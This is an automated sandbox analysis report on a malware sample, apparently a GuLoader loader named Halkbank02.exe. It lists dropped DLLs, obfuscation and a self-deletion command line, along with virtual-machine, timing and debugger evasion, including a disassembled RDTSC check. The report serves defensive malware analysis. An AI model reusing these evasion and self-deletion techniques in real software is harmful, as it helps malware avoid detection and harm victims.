Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.868789686.000000001F83C000.00000004.00000001.sdmp, api-ms-win-core-datetime-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875685309.000000001F450000.00000004.00000001.sdmp, api-ms-win-crt-conio-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875879103.000000001F458000.00000004.00000001.sdmp, api-ms-win-crt-math-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: Halkbank02.exe, 0000001C.00000003.869710011.000000001EFC0000.00000004.00000001.sdmp, api-ms-win-core-localization-l1-2-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, softokn3.dll.28.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: Halkbank02.exe, api-ms-win-core-processthreads-l1-1-1.dll.28.dr
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-namedpipe-l1-1-0.dll.28.dr
Source: Binary string: vcruntime140.i386.pdb source: Halkbank02.exe, 0000001C.00000003.881018739.000000001F820000.00000004.00000001.sdmp, vcruntime140.dll.28.dr
Source: Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.881018739.000000001F820000.00000004.00000001.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876736098.000000001F4B0000.00000004.00000001.sdmp, api-ms-win-crt-utility-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-rtlsupport-l1-1-0.dll.28.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: Halkbank02.exe, 0000001C.00000003.878215194.000000001F598000.00000004.00000001.sdmp, nssdbm3.dll.28.dr
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.875491758.000000001F448000.00000004.00000001.sdmp, api-ms-win-core-timezone-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: Halkbank02.exe, api-ms-win-core-string-l1-1-0.dll.28.dr
Source: Binary string: msvcp140.i386.pdbGCTL source: Halkbank02.exe, 0000001C.00000003.876940692.000000001F530000.00000004.00000001.sdmp, msvcp140.dll.28.dr
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874899344.00000000200EC000.00000004.00000001.sdmp, api-ms-win-core-file-l2-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.876327978.000000001F490000.00000004.00000001.sdmp, api-ms-win-crt-process-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874994667.000000001F404000.00000004.00000001.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.874994667.000000001F404000.00000004.00000001.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.871542123.000000001EFC0000.00000004.00000001.sdmp, api-ms-win-crt-heap-l1-1-0.dll.28.dr
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: Halkbank02.exe, 0000001C.00000003.872117132.000000001EFC4000.00000004.00000001.sdmp, api-ms-win-crt-string-l1-1-0.dll.28.dr

Data Obfuscation:

barindex
Yara detected GuLoader
Source: Yara match File source: 00000001.00000002.562813823.00000000022A0000.00000040.00000001.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00403640 push 966DCA76h; iretd 1_2_00403645
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00405A45 push esp; iretd 1_2_00405A5A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00403C65 push ds; iretd 1_2_00403C6E
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00405E73 push ds; iretd 1_2_00405E8A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00404A75 push 7B3E4015h; iretd 1_2_00404A7A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00407231 push esp; retf 1_2_00407234
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004080C5 push E868A7E5h; iretd 1_2_004080CA
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00406ED7 push esi; ret 1_2_00406ED8
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004082EB pushfd ; iretd 1_2_004082F5
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004080ED push 7767F77Ch; iretd 1_2_004080F2
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00408105 push 03C6A3FEh; iretd 1_2_00408112
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00407B29 pushfd ; retf 1_2_00407B2A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004061DD push 22BD4488h; iretd 1_2_004061E6
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A7409 pushfd ; iretd 1_2_022A7412
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 28_3_1E531696 push cs; ret 28_3_1E5316A2
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 28_3_1E53394D push esi; ret 28_3_1E533997
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 28_3_1E53430B push cs; ret 28_3_1E53432A
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 28_3_1E53298B pushad ; ret 28_3_1E53299F
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 28_3_1E5323B5 push cs; ret 28_3_1E5323B6
PE file contains sections with non-standard names
Source: msvcp140.dll.28.dr Static PE information: section name: .didat
Binary contains a suspicious time stamp
Source: api-ms-win-core-console-l1-1-0.dll.28.dr Static PE information: 0xAC22BA81 [Thu Jul 7 10:18:41 2061 UTC]

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\ucrtbase.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\msvcp140.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\mozglue.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Self deletion via cmd delete
Source: C:\Users\user\Desktop\Halkbank02.exe Process created: 'C:\Windows\system32\cmd.exe' /c C:\Windows\system32\timeout.exe 3 & del 'Halkbank02.exe'
Source: C:\Users\user\Desktop\Halkbank02.exe Process created: 'C:\Windows\system32\cmd.exe' /c C:\Windows\system32\timeout.exe 3 & del 'Halkbank02.exe' Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: Halkbank02.exe, 00000001.00000002.563126695.0000000002A90000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32TEMP=WINDIR=\SYSWOW64\MSVBVM60.DLL
Source: Halkbank02.exe, 00000001.00000002.563126695.0000000002A90000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Halkbank02.exe RDTSC instruction interceptor: First address: 00000000022A8D64 second address: 00000000022A8D64 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e mov eax, 4EFDC464h 0x00000013 add eax, FD8ECE7Bh 0x00000018 add eax, EA37EE74h 0x0000001d sub eax, 36C48152h 0x00000022 cpuid 0x00000024 jmp 00007FC3FC368E9Dh 0x00000029 test cl, cl 0x0000002b bt ecx, 1Fh 0x0000002f jc 00007FC3FC369698h 0x00000035 test ebx, edx 0x00000037 push di 0x00000039 mov di, 231Dh 0x0000003d pop di 0x0000003f popad 0x00000040 cmp ecx, eax 0x00000042 call 00007FC3FC368F31h 0x00000047 lfence 0x0000004a rdtsc
Source: C:\Users\user\Desktop\Halkbank02.exe RDTSC instruction interceptor: First address: 0000000000568D64 second address: 0000000000568D64 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e mov eax, 4EFDC464h 0x00000013 add eax, FD8ECE7Bh 0x00000018 add eax, EA37EE74h 0x0000001d sub eax, 36C48152h 0x00000022 cpuid 0x00000024 jmp 00007FC3FCB8A4CDh 0x00000029 test cl, cl 0x0000002b bt ecx, 1Fh 0x0000002f jc 00007FC3FCB8ACC8h 0x00000035 test ebx, edx 0x00000037 push di 0x00000039 mov di, 231Dh 0x0000003d pop di 0x0000003f popad 0x00000040 cmp ecx, eax 0x00000042 call 00007FC3FCB8A561h 0x00000047 lfence 0x0000004a rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Halkbank02.exe TID: 64 Thread sleep count: 34 > 30 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\Halkbank02.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll Jump to dropped file
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8CF8 rdtsc 1_2_022A8CF8
Is looking for software installed on the system
Source: C:\Users\user\Desktop\Halkbank02.exe Registry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Users\user\Desktop\Halkbank02.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe System information queried: ModuleInformation Jump to behavior
Source: Halkbank02.exe, 00000001.00000002.563126695.0000000002A90000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32TEMP=windir=\syswow64\msvbvm60.dll
Source: Halkbank02.exe, 00000001.00000002.563126695.0000000002A90000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

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Hides threads from debuggers
Source: C:\Users\user\Desktop\Halkbank02.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Thread information set: HideFromDebugger Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8CF8 rdtsc 1_2_022A8CF8
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_00401500 mov ebx, dword ptr fs:[00000030h] 1_2_00401500
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004020A7 mov ebx, dword ptr fs:[00000030h] 1_2_004020A7
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_004027DC mov ebx, dword ptr fs:[00000030h] 1_2_004027DC
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A88B2 mov eax, dword ptr fs:[00000030h] 1_2_022A88B2
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A608C mov eax, dword ptr fs:[00000030h] 1_2_022A608C
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A352D mov eax, dword ptr fs:[00000030h] 1_2_022A352D
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A9745 mov eax, dword ptr fs:[00000030h] 1_2_022A9745
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A8150 mov eax, dword ptr fs:[00000030h] 1_2_022A8150
